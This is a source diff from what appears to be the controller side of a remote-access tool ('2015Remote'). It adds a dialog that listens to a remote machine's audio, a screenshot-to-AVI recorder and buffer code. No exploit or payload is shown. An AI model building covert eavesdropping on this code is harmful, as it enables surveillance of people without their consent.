CAudioDlg::CAudioDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: DialogBase(CAudioDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_AUDIO)
|
||||
, m_bSend(FALSE)
|
||||
{
|
||||
m_bIsWorking = TRUE;
|
||||
m_bThreadRun = FALSE;
|
||||
|
||||
m_hWorkThread = NULL;
|
||||
m_nTotalRecvBytes = 0;
|
||||
}
|
||||
|
||||
CAudioDlg::~CAudioDlg()
|
||||
{
|
||||
m_bIsWorking = FALSE;
|
||||
while (m_bThreadRun)
|
||||
Sleep(50);
|
||||
}
|
||||
|
||||
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Check(pDX, IDC_CHECK, m_bSend);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_BN_CLICKED(IDC_CHECK, &CAudioDlg::OnBnClickedCheck)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CAudioDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL CAudioDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
// 多语言翻译 - Static控件
|
||||
SetDlgItemText(IDC_STATIC_AUDIO_LISTENING, _TR("正在监听远程声音..."));
|
||||
|
||||
SetIcon(m_hIcon,FALSE);
|
||||
|
||||
CString strString;
|
||||
strString.FormatL("%s - 语音监听", m_IPAddress);
|
||||
SetWindowText(strString);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
|
||||
//启动线程 判断CheckBox
|
||||
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||
|
||||
m_bThreadRun = m_hWorkThread ? TRUE : FALSE;
|
||||
|
||||
GetDlgItem(IDC_CHECK)->EnableWindow(TRUE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
DWORD CAudioDlg::WorkThread(LPVOID lParam)
|
||||
{
|
||||
CAudioDlg *This = (CAudioDlg *)lParam;
|
||||
|
||||
while (This->m_bIsWorking) {
|
||||
if (!This->m_bSend) {
|
||||
WAIT_n(This->m_bIsWorking, 1, 50);
|
||||
continue;
|
||||
}
|
||||
DWORD dwBufferSize = 0;
|
||||
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //播放声音
|
||||
|
||||
if (szBuffer != NULL && dwBufferSize > 0)
|
||||
This->m_ContextObject->Send2Client(szBuffer, dwBufferSize); //没有消息头
|
||||
}
|
||||
This->m_bThreadRun = FALSE;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void CAudioDlg::OnReceiveComplete(void)
|
||||
{
|
||||
m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1
|
||||
CString strString;
|
||||
strString.FormatL("Receive %d KBytes", m_nTotalRecvBytes / 1024);
|
||||
SetDlgItemText(IDC_TIPS, strString);
|
||||
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
|
||||
case TOKEN_AUDIO_DATA: {
|
||||
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
|
||||
m_AudioObject.PlayBuffer(tmp.Buf(), tmp.length()); //播放波形数据
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
// 传输发生异常数据
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CAudioDlg::OnClose()
|
||||
{
|
||||
CancelIO();
|
||||
// 等待数据处理完毕
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
|
||||
// 处理是否发送本地语音到远程
|
||||
void CAudioDlg::OnBnClickedCheck()
|
||||
{
|
||||
UpdateData(true);
|
||||
}
|
||||
37
server/2015Remote/AudioDlg.h
Normal file
37
server/2015Remote/AudioDlg.h
Normal file
@@ -0,0 +1,37 @@
|
||||
#pragma once
|
||||
|
||||
#include "IOCPServer.h"
|
||||
#include "../../client/Audio.h"
|
||||
|
||||
// CAudioDlg 对话框
|
||||
|
||||
class CAudioDlg : public DialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CAudioDlg)
|
||||
|
||||
public:
|
||||
CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
|
||||
virtual ~CAudioDlg();
|
||||
|
||||
DWORD m_nTotalRecvBytes;
|
||||
BOOL m_bIsWorking;
|
||||
BOOL m_bThreadRun;
|
||||
HANDLE m_hWorkThread;
|
||||
CAudio m_AudioObject;
|
||||
|
||||
static DWORD WINAPI WorkThread(LPVOID lParam);
|
||||
|
||||
void OnReceiveComplete(void);
|
||||
// 对话框数据
|
||||
enum { IDD = IDD_DIALOG_AUDIO };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
BOOL m_bSend; // 是否发送本地语音到远程
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnBnClickedCheck();
|
||||
};
|
||||
604
server/2015Remote/Bmp2Video.cpp
Normal file
604
server/2015Remote/Bmp2Video.cpp
Normal file
@@ -0,0 +1,604 @@
|
||||
#include "stdafx.h"
|
||||
#include "Bmp2Video.h"
|
||||
|
||||
#define USE_JPEG 0
|
||||
|
||||
#if USE_JPEG
|
||||
#include "common/turbojpeg.h"
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jpeg/turbojpeg_64_d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jpeg/turbojpeg_64_d.lib")
|
||||
#endif
|
||||
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jpeg/turbojpeg_32_d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jpeg/turbojpeg_32_d.lib")
|
||||
#endif
|
||||
|
||||
#endif
|
||||
#else
|
||||
#define tjFree free
|
||||
#endif
|
||||
|
||||
|
||||
AVISTREAMINFO CBmpToAvi::m_si = {};
|
||||
|
||||
CBmpToAvi::CBmpToAvi()
|
||||
{
|
||||
m_nFrames = 0;
|
||||
m_pfile = NULL;
|
||||
m_pavi = NULL;
|
||||
m_hic = NULL;
|
||||
AVIFileInit();
|
||||
}
|
||||
|
||||
CBmpToAvi::~CBmpToAvi()
|
||||
{
|
||||
Close();
|
||||
AVIFileExit();
|
||||
}
|
||||
|
||||
int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h)
|
||||
{
|
||||
if (szFile == NULL)
|
||||
return ERR_INVALID_PARAM;
|
||||
|
||||
m_nFrames = 0;
|
||||
if (AVIFileOpen(&m_pfile, szFile, OF_WRITE | OF_CREATE, NULL))
|
||||
return ERR_INTERNAL;
|
||||
|
||||
m_fccHandler = h;
|
||||
m_si.fccType = streamtypeVIDEO;
|
||||
m_si.fccHandler = m_fccHandler;
|
||||
m_si.dwScale = 1;
|
||||
m_si.dwRate = rate;
|
||||
m_width = lpbmi->bmiHeader.biWidth;
|
||||
m_height = lpbmi->bmiHeader.biHeight;
|
||||
SetRect(&m_si.rcFrame, 0, 0, m_width, m_height);
|
||||
|
||||
m_bitCount = lpbmi->bmiHeader.biBitCount;
|
||||
if (m_bitCount != 24 && m_bitCount != 32) {
|
||||
AVIFileRelease(m_pfile);
|
||||
m_pfile = NULL;
|
||||
return ERR_NOT_SUPPORT;
|
||||
}
|
||||
|
||||
// 创建正确的BITMAPINFO用于MJPEG
|
||||
BITMAPINFO bmiFormat = *lpbmi;
|
||||
|
||||
if (m_fccHandler == ENCODER_H264) {
|
||||
// 打开H.264压缩器
|
||||
m_hic = ICOpen(ICTYPE_VIDEO, mmioFOURCC('X', '2', '6', '4'), ICMODE_COMPRESS);
|
||||
if (!m_hic) {
|
||||
AVIFileRelease(m_pfile);
|
||||
m_pfile = NULL;
|
||||
return ERR_NO_ENCODER;
|
||||
}
|
||||
|
||||
// 设置输入格式(未压缩的24位BMP)
|
||||
BITMAPINFOHEADER inputFormat = { 0 };
|
||||
inputFormat.biSize = sizeof(BITMAPINFOHEADER);
|
||||
inputFormat.biWidth = m_width;
|
||||
inputFormat.biHeight = m_height;
|
||||
inputFormat.biPlanes = 1;
|
||||
inputFormat.biBitCount = 24;
|
||||
inputFormat.biCompression = BI_RGB;
|
||||
inputFormat.biSizeImage = m_width * m_height * 3;
|
||||
|
||||
// 设置输出格式(H.264压缩)
|
||||
BITMAPINFOHEADER outputFormat = inputFormat;
|
||||
outputFormat.biCompression = mmioFOURCC('X', '2', '6', '4');
|
||||
|
||||
// 查询压缩器能否处理这个格式
|
||||
DWORD result = ICCompressQuery(m_hic, &inputFormat, &outputFormat);
|
||||
if (result != ICERR_OK) {
|
||||
ICClose(m_hic);
|
||||
m_hic = NULL;
|
||||
AVIFileRelease(m_pfile);
|
||||
m_pfile = NULL;
|
||||
Mprintf("ICCompressQuery failed: %d\n", result);
|
||||
return ERR_NO_ENCODER;
|
||||
}
|
||||
|
||||
// 开始压缩
|
||||
result = ICCompressBegin(m_hic, &inputFormat, &outputFormat);
|
||||
if (result != ICERR_OK) {
|
||||
ICClose(m_hic);
|
||||
m_hic = NULL;
|
||||
AVIFileRelease(m_pfile);
|
||||
m_pfile = NULL;
|
||||
Mprintf("ICCompressBegin failed: %d\n", result);
|
||||
return ERR_NO_ENCODER;
|
||||
}
|
||||
|
||||
// 设置质量
|
||||
m_quality = 7500;
|
||||
|
||||
// AVI流配置
|
||||
bmiFormat.bmiHeader.biCompression = mmioFOURCC('X', '2', '6', '4');
|
||||
bmiFormat.bmiHeader.biBitCount = 24;
|
||||
bmiFormat.bmiHeader.biSizeImage = m_width * m_height * 3;
|
||||
m_si.dwSuggestedBufferSize = bmiFormat.bmiHeader.biSizeImage;
|
||||
} else if (m_fccHandler == ENCODER_MJPEG) {
|
||||
// MJPEG需要特殊设置
|
||||
bmiFormat.bmiHeader.biCompression = mmioFOURCC('M', 'J', 'P', 'G');
|
||||
bmiFormat.bmiHeader.biBitCount = 24; // MJPEG解码后是24位
|
||||
// 计算正确的图像大小
|
||||
bmiFormat.bmiHeader.biSizeImage = m_width * m_height * 3;
|
||||
m_si.dwSuggestedBufferSize = bmiFormat.bmiHeader.biSizeImage * 2; // 预留足够空间
|
||||
m_quality = 85; // 默认质量
|
||||
} else {
|
||||
m_si.dwSuggestedBufferSize = lpbmi->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
if (AVIFileCreateStream(m_pfile, &m_pavi, &m_si)) {
|
||||
if (m_hic) {
|
||||
ICCompressEnd(m_hic);
|
||||
ICClose(m_hic);
|
||||
m_hic = NULL;
|
||||
}
|
||||
AVIFileRelease(m_pfile);
|
||||
m_pfile = NULL;
|
||||
return ERR_INTERNAL;
|
||||
}
|
||||
|
||||
if (AVIStreamSetFormat(m_pavi, 0, &bmiFormat, sizeof(BITMAPINFOHEADER))) {
|
||||
if (m_hic) {
|
||||
ICCompressEnd(m_hic);
|
||||
ICClose(m_hic);
|
||||
m_hic = NULL;
|
||||
}
|
||||
AVIStreamRelease(m_pavi);
|
||||
m_pavi = NULL;
|
||||
AVIFileRelease(m_pfile);
|
||||
m_pfile = NULL;
|
||||
return ERR_INTERNAL;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if USE_JPEG
|
||||
// 优化的BMP到JPEG转换
|
||||
bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, unsigned char** jpegData, unsigned long* jpegSize)
|
||||
{
|
||||
if (!lpBuffer || !jpegData || !jpegSize) {
|
||||
return false;
|
||||
}
|
||||
tjhandle jpegCompressor = tjInitCompress();
|
||||
if (!jpegCompressor) {
|
||||
Mprintf("TurboJPEG initialization failed: %s\n", tjGetErrorStr());
|
||||
return false;
|
||||
}
|
||||
|
||||
// 确保质量在合理范围内
|
||||
if (quality < 1) quality = 85;
|
||||
if (quality > 100) quality = 100;
|
||||
|
||||
int pitch = width * 3; // BGR24格式,每行字节数
|
||||
|
||||
// 重要:初始化为NULL,让TurboJPEG自己分配内存
|
||||
*jpegData = NULL;
|
||||
*jpegSize = 0;
|
||||
|
||||
// 去掉TJFLAG_NOREALLOC标志,让TurboJPEG自动分配内存
|
||||
int tjError = tjCompress2(
|
||||
jpegCompressor,
|
||||
(unsigned char*)lpBuffer,
|
||||
width,
|
||||
pitch, // 每行字节数
|
||||
height,
|
||||
TJPF_BGR, // BGR格式
|
||||
jpegData, // TurboJPEG会自动分配内存
|
||||
jpegSize,
|
||||
TJSAMP_422, // 4:2:2色度子采样
|
||||
quality, // 压缩质量
|
||||
0 // 不使用特殊标志
|
||||
);
|
||||
|
||||
if (tjError != 0) {
|
||||
Mprintf("TurboJPEG compression failed: %s\n", tjGetErrorStr2(jpegCompressor));
|
||||
tjDestroy(jpegCompressor);
|
||||
return false;
|
||||
}
|
||||
|
||||
tjDestroy(jpegCompressor);
|
||||
|
||||
// 验证输出
|
||||
if (*jpegData == NULL || *jpegSize == 0) {
|
||||
Mprintf("JPEG compression produced no data\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
Mprintf("JPEG compression successful: %lu bytes\n", *jpegSize);
|
||||
return true;
|
||||
}
|
||||
#else
|
||||
#include <windows.h>
|
||||
#include <gdiplus.h>
|
||||
#include <shlwapi.h>
|
||||
#pragma comment(lib, "gdiplus.lib")
|
||||
#pragma comment(lib, "shlwapi.lib")
|
||||
|
||||
using namespace Gdiplus;
|
||||
|
||||
// ==================== 辅助函数 ====================
|
||||
|
||||
// 获取 JPEG 编码器的 CLSID
|
||||
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
|
||||
{
|
||||
UINT num = 0;
|
||||
UINT size = 0;
|
||||
|
||||
GetImageEncodersSize(&num, &size);
|
||||
if (size == 0) return -1;
|
||||
|
||||
ImageCodecInfo* pImageCodecInfo = (ImageCodecInfo*)malloc(size);
|
||||
if (pImageCodecInfo == NULL) return -1;
|
||||
|
||||
GetImageEncoders(num, size, pImageCodecInfo);
|
||||
|
||||
for (UINT j = 0; j < num; ++j) {
|
||||
if (wcscmp(pImageCodecInfo[j].MimeType, format) == 0) {
|
||||
*pClsid = pImageCodecInfo[j].Clsid;
|
||||
free(pImageCodecInfo);
|
||||
return j;
|
||||
}
|
||||
}
|
||||
|
||||
free(pImageCodecInfo);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// ==================== 主函数 ====================
|
||||
|
||||
bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
|
||||
unsigned char** jpegData, unsigned long* jpegSize)
|
||||
{
|
||||
if (!lpBuffer || !jpegData || !jpegSize || width <= 0 || height <= 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 计算 DIB 的行字节数(4字节对齐)
|
||||
int rowSize = ((width * 3 + 3) / 4) * 4;
|
||||
|
||||
// 创建 Bitmap 对象(24位 BGR 格式)
|
||||
Bitmap* bitmap = new Bitmap(width, height, PixelFormat24bppRGB);
|
||||
if (!bitmap || bitmap->GetLastStatus() != Ok) {
|
||||
if (bitmap) delete bitmap;
|
||||
return false;
|
||||
}
|
||||
|
||||
// 锁定 Bitmap 以写入数据
|
||||
BitmapData bitmapData;
|
||||
Rect rect(0, 0, width, height);
|
||||
Status status = bitmap->LockBits(&rect, ImageLockModeWrite,
|
||||
PixelFormat24bppRGB, &bitmapData);
|
||||
|
||||
if (status != Ok) {
|
||||
delete bitmap;
|
||||
return false;
|
||||
}
|
||||
|
||||
// 复制数据(注意:DIB 是底部到顶部,需要翻转)
|
||||
BYTE* srcData = (BYTE*)lpBuffer;
|
||||
BYTE* dstData = (BYTE*)bitmapData.Scan0;
|
||||
|
||||
for (int y = 0; y < height; y++) {
|
||||
// DIB 是从底部开始的,所以需要翻转
|
||||
BYTE* srcRow = srcData + (height - 1 - y) * rowSize;
|
||||
BYTE* dstRow = dstData + y * bitmapData.Stride;
|
||||
memcpy(dstRow, srcRow, width * 3);
|
||||
}
|
||||
|
||||
bitmap->UnlockBits(&bitmapData);
|
||||
|
||||
// 获取 JPEG 编码器
|
||||
CLSID jpegClsid;
|
||||
if (GetEncoderClsid(L"image/jpeg", &jpegClsid) < 0) {
|
||||
delete bitmap;
|
||||
return false;
|
||||
}
|
||||
|
||||
// 设置 JPEG 质量参数
|
||||
EncoderParameters encoderParams;
|
||||
encoderParams.Count = 1;
|
||||
encoderParams.Parameter[0].Guid = EncoderQuality;
|
||||
encoderParams.Parameter[0].Type = EncoderParameterValueTypeLong;
|
||||
encoderParams.Parameter[0].NumberOfValues = 1;
|
||||
|
||||
ULONG qualityValue = (ULONG)quality;
|
||||
encoderParams.Parameter[0].Value = &qualityValue;
|
||||
|
||||
// 创建内存流用于保存 JPEG
|
||||
IStream* stream = NULL;
|
||||
HRESULT hr = CreateStreamOnHGlobal(NULL, TRUE, &stream);
|
||||
if (FAILED(hr)) {
|
||||
delete bitmap;
|
||||
return false;
|
||||
}
|
||||
|
||||
// 保存为 JPEG
|
||||
status = bitmap->Save(stream, &jpegClsid, &encoderParams);
|
||||
delete bitmap;
|
||||
|
||||
if (status != Ok) {
|
||||
stream->Release();
|
||||
return false;
|
||||
}
|
||||
|
||||
// 获取 JPEG 数据
|
||||
HGLOBAL hMem = NULL;
|
||||
hr = GetHGlobalFromStream(stream, &hMem);
|
||||
if (FAILED(hr)) {
|
||||
stream->Release();
|
||||
return false;
|
||||
}
|
||||
|
||||
SIZE_T memSize = GlobalSize(hMem);
|
||||
if (memSize == 0) {
|
||||
stream->Release();
|
||||
return false;
|
||||
}
|
||||
|
||||
// 分配输出缓冲区
|
||||
*jpegSize = (unsigned long)memSize;
|
||||
*jpegData = new unsigned char[*jpegSize];
|
||||
|
||||
// 复制数据
|
||||
void* pMem = GlobalLock(hMem);
|
||||
if (pMem) {
|
||||
memcpy(*jpegData, pMem, *jpegSize);
|
||||
GlobalUnlock(hMem);
|
||||
} else {
|
||||
delete[] * jpegData;
|
||||
*jpegData = NULL;
|
||||
stream->Release();
|
||||
return false;
|
||||
}
|
||||
|
||||
stream->Release();
|
||||
return true;
|
||||
}
|
||||
|
||||
// ==================== GDI+ 初始化/清理 ====================
|
||||
|
||||
class GdiplusManager
|
||||
{
|
||||
private:
|
||||
ULONG_PTR gdiplusToken;
|
||||
bool initialized;
|
||||
|
||||
public:
|
||||
GdiplusManager() : gdiplusToken(0), initialized(false)
|
||||
{
|
||||
GdiplusStartupInput gdiplusStartupInput;
|
||||
if (GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) == Ok) {
|
||||
initialized = true;
|
||||
}
|
||||
}
|
||||
|
||||
~GdiplusManager()
|
||||
{
|
||||
if (initialized) {
|
||||
GdiplusShutdown(gdiplusToken);
|
||||
}
|
||||
}
|
||||
|
||||
bool IsInitialized() const
|
||||
{
|
||||
return initialized;
|
||||
}
|
||||
};
|
||||
|
||||
// 全局对象,自动初始化和清理
|
||||
static GdiplusManager g_gdiplusManager;
|
||||
#endif
|
||||
|
||||
|
||||
// 正确的32位转24位转换(含翻转)
|
||||
unsigned char* ConvertScreenshot32to24(unsigned char* p32bitBmp, int width, int height)
|
||||
{
|
||||
// 计算BMP的实际行大小(4字节对齐)
|
||||
int srcRowSize = ((width * 32 + 31) / 32) * 4;
|
||||
int dstRowSize = width * 3; // 目标是紧凑的24位
|
||||
|
||||
unsigned char* p24bitBmp = (unsigned char*)malloc(dstRowSize * height);
|
||||
if (!p24bitBmp) return nullptr;
|
||||
|
||||
for (int y = 0; y < height; y++) {
|
||||
// BMP是从下到上存储,需要翻转
|
||||
unsigned char* src = p32bitBmp + (height - 1 - y) * srcRowSize;
|
||||
unsigned char* dst = p24bitBmp + y * dstRowSize;
|
||||
|
||||
for (int x = 0; x < width; x++) {
|
||||
dst[x * 3 + 0] = src[x * 4 + 0]; // B
|
||||
dst[x * 3 + 1] = src[x * 4 + 1]; // G
|
||||
dst[x * 3 + 2] = src[x * 4 + 2]; // R
|
||||
// 忽略Alpha通道
|
||||
}
|
||||
}
|
||||
|
||||
return p24bitBmp;
|
||||
}
|
||||
|
||||
// 24位BMP处理(含翻转和去对齐)
|
||||
unsigned char* Process24BitBmp(unsigned char* lpBuffer, int width, int height)
|
||||
{
|
||||
// BMP 24位行大小(4字节对齐)
|
||||
int srcRowSize = ((width * 24 + 31) / 32) * 4;
|
||||
int dstRowSize = width * 3; // 紧凑格式
|
||||
|
||||
unsigned char* processed = (unsigned char*)malloc(dstRowSize * height);
|
||||
if (!processed) return nullptr;
|
||||
|
||||
for (int y = 0; y < height; y++) {
|
||||
// 翻转并去除填充字节
|
||||
unsigned char* src = lpBuffer + (height - 1 - y) * srcRowSize;
|
||||
unsigned char* dst = processed + y * dstRowSize;
|
||||
memcpy(dst, src, dstRowSize);
|
||||
}
|
||||
|
||||
return processed;
|
||||
}
|
||||
|
||||
bool CBmpToAvi::Write(unsigned char* lpBuffer)
|
||||
{
|
||||
if (m_pfile == NULL || m_pavi == NULL || lpBuffer == NULL)
|
||||
return false;
|
||||
|
||||
unsigned char* writeData = nullptr;
|
||||
unsigned long writeSize = 0;
|
||||
bool needFree = false;
|
||||
|
||||
switch (m_fccHandler) {
|
||||
case ENCODER_BMP:
|
||||
writeData = lpBuffer;
|
||||
writeSize = m_si.dwSuggestedBufferSize;
|
||||
break;
|
||||
|
||||
case ENCODER_H264: {
|
||||
unsigned char* processedBuffer = nullptr;
|
||||
|
||||
if (m_bitCount == 32) {
|
||||
processedBuffer = ConvertScreenshot32to24(lpBuffer, m_width, m_height);
|
||||
} else if (m_bitCount == 24) {
|
||||
processedBuffer = Process24BitBmp(lpBuffer, m_width, m_height);
|
||||
}
|
||||
|
||||
if (!processedBuffer) {
|
||||
Mprintf("Failed to process buffer\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 创建正确的格式头
|
||||
BITMAPINFOHEADER inputHeader = { 0 };
|
||||
inputHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
inputHeader.biWidth = m_width;
|
||||
inputHeader.biHeight = -m_height;
|
||||
inputHeader.biPlanes = 1;
|
||||
inputHeader.biBitCount = 24;
|
||||
inputHeader.biCompression = BI_RGB;
|
||||
inputHeader.biSizeImage = m_width * m_height * 3;
|
||||
|
||||
BITMAPINFOHEADER outputHeader = inputHeader;
|
||||
outputHeader.biCompression = mmioFOURCC('X', '2', '6', '4');
|
||||
|
||||
// 分配输出缓冲区
|
||||
DWORD maxCompressedSize = m_width * m_height * 3;
|
||||
unsigned char* compressedData = (unsigned char*)malloc(maxCompressedSize);
|
||||
if (!compressedData) {
|
||||
free(processedBuffer);
|
||||
Mprintf("Failed to allocate compression buffer\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD flags = 0;
|
||||
|
||||
// 正确调用ICCompress
|
||||
DWORD result = ICCompress(
|
||||
m_hic, // 压缩器句柄
|
||||
0, // 标志(0=自动决定关键帧)
|
||||
&outputHeader, // 输出格式头
|
||||
compressedData, // 输出数据
|
||||
&inputHeader, // 输入格式头
|
||||
processedBuffer, // 输入数据
|
||||
NULL, // ckid
|
||||
&flags, // 输出标志
|
||||
m_nFrames, // 帧号
|
||||
0, // 期望大小(0=自动)
|
||||
m_quality, // 质量
|
||||
NULL, // 前一帧格式头
|
||||
NULL // 前一帧数据
|
||||
);
|
||||
|
||||
if (result != ICERR_OK) {
|
||||
free(compressedData);
|
||||
free(processedBuffer);
|
||||
Mprintf("ICCompress failed: %d\n", result);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 实际压缩大小在outputHeader.biSizeImage中
|
||||
writeData = compressedData;
|
||||
writeSize = outputHeader.biSizeImage;
|
||||
needFree = true;
|
||||
|
||||
free(processedBuffer);
|
||||
break;
|
||||
}
|
||||
|
||||
case ENCODER_MJPEG: {
|
||||
unsigned char* processedBuffer = nullptr;
|
||||
|
||||
// 处理不同位深度
|
||||
if (m_bitCount == 32) {
|
||||
processedBuffer = ConvertScreenshot32to24(lpBuffer, m_width, m_height);
|
||||
} else if (m_bitCount == 24) {
|
||||
processedBuffer = Process24BitBmp(lpBuffer, m_width, m_height);
|
||||
}
|
||||
|
||||
if (!processedBuffer) {
|
||||
return false;
|
||||
}
|
||||
// 压缩为JPEG
|
||||
if (!BmpToJpeg(processedBuffer, m_width, m_height, m_quality, &writeData, &writeSize)) {
|
||||
free(processedBuffer);
|
||||
Mprintf("Failed to compress JPEG\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
free(processedBuffer);
|
||||
needFree = true;
|
||||
break;
|
||||
}
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
|
||||
// 写入AVI流
|
||||
LONG bytesWritten = 0;
|
||||
LONG samplesWritten = 0;
|
||||
HRESULT hr = AVIStreamWrite(m_pavi, m_nFrames, 1,
|
||||
writeData, writeSize,
|
||||
AVIIF_KEYFRAME,
|
||||
&samplesWritten, &bytesWritten);
|
||||
|
||||
if (needFree && writeData) {
|
||||
if (m_fccHandler == ENCODER_MJPEG) {
|
||||
tjFree(writeData);
|
||||
} else {
|
||||
free(writeData);
|
||||
}
|
||||
}
|
||||
|
||||
if (hr != AVIERR_OK) {
|
||||
Mprintf("AVIStreamWrite failed: 0x%08X\n", hr);
|
||||
return false;
|
||||
}
|
||||
|
||||
m_nFrames++;
|
||||
return true;
|
||||
}
|
||||
|
||||
void CBmpToAvi::Close()
|
||||
{
|
||||
if (m_hic) {
|
||||
ICCompressEnd(m_hic);
|
||||
ICClose(m_hic);
|
||||
m_hic = NULL;
|
||||
}
|
||||
if (m_pavi) {
|
||||
AVIStreamRelease(m_pavi);
|
||||
m_pavi = NULL;
|
||||
}
|
||||
if (m_pfile) {
|
||||
AVIFileRelease(m_pfile);
|
||||
m_pfile = NULL;
|
||||
}
|
||||
m_nFrames = 0;
|
||||
}
|
||||
56
server/2015Remote/Bmp2Video.h
Normal file
56
server/2015Remote/Bmp2Video.h
Normal file
@@ -0,0 +1,56 @@
|
||||
#pragma once
|
||||
#include <Vfw.h>
|
||||
#pragma comment(lib,"Vfw32.lib")
|
||||
|
||||
#define ERR_INVALID_PARAM 1
|
||||
#define ERR_NO_ENCODER 2
|
||||
#define ERR_INTERNAL 3
|
||||
#define ERR_NOT_SUPPORT 4
|
||||
|
||||
enum FCCHandler {
|
||||
ENCODER_BMP = BI_RGB,
|
||||
ENCODER_MJPEG = mmioFOURCC('M', 'J', 'P', 'G'),
|
||||
// 安装x264vfw编解码器: https://sourceforge.net/projects/x264vfw/
|
||||
ENCODER_H264 = mmioFOURCC('X', '2', '6', '4'),
|
||||
};
|
||||
|
||||
/************************************************************************
|
||||
* @class CBmpToAvi
|
||||
* @brief 位图转AVI帧
|
||||
************************************************************************/
|
||||
class CBmpToAvi
|
||||
{
|
||||
public:
|
||||
CBmpToAvi();
|
||||
virtual ~CBmpToAvi();
|
||||
int Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate = 4, FCCHandler h = ENCODER_BMP);
|
||||
bool Write(unsigned char* lpBuffer);
|
||||
void Close();
|
||||
static std::string GetErrMsg(int result)
|
||||
{
|
||||
switch (result) {
|
||||
case ERR_INVALID_PARAM:
|
||||
return ("无效参数");
|
||||
case ERR_NOT_SUPPORT:
|
||||
return ("不支持的位深度,需要24位或32位");
|
||||
case ERR_NO_ENCODER:
|
||||
return ("未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw");
|
||||
case ERR_INTERNAL:
|
||||
return("创建AVI文件失败");
|
||||
default:
|
||||
return "succeed";
|
||||
}
|
||||
}
|
||||
private:
|
||||
FCCHandler m_fccHandler;
|
||||
PAVIFILE m_pfile;
|
||||
PAVISTREAM m_pavi;
|
||||
int m_nFrames;
|
||||
static AVISTREAMINFO m_si; // 这个参数需要是静态的
|
||||
|
||||
int m_bitCount = 24;
|
||||
int m_width = 1920;
|
||||
int m_height = 1080;
|
||||
int m_quality = 90;
|
||||
HIC m_hic = NULL;
|
||||
};
|
||||
339
server/2015Remote/Buffer.cpp
Normal file
339
server/2015Remote/Buffer.cpp
Normal file
@@ -0,0 +1,339 @@
|
||||
#include "StdAfx.h"
|
||||
#include "Buffer.h"
|
||||
|
||||
#include <math.h>
|
||||
|
||||
// 增大页面对齐大小,减少重新分配次数 (4KB对齐)
|
||||
#define U_PAGE_ALIGNMENT 4096
|
||||
#define F_PAGE_ALIGNMENT 4096.0
|
||||
// 压缩阈值:当已读取数据超过此比例时才进行压缩
|
||||
#define COMPACT_THRESHOLD 0.5
|
||||
|
||||
CBuffer::CBuffer(void)
|
||||
{
|
||||
m_ulMaxLength = 0;
|
||||
m_ulReadOffset = 0;
|
||||
|
||||
m_Ptr = m_Base = NULL;
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
CBuffer::~CBuffer(void)
|
||||
{
|
||||
if (m_Base) {
|
||||
VirtualFree(m_Base, 0, MEM_RELEASE);
|
||||
m_Base = NULL;
|
||||
}
|
||||
|
||||
DeleteCriticalSection(&m_cs);
|
||||
|
||||
m_Base = m_Ptr = NULL;
|
||||
m_ulMaxLength = 0;
|
||||
m_ulReadOffset = 0;
|
||||
}
|
||||
|
||||
|
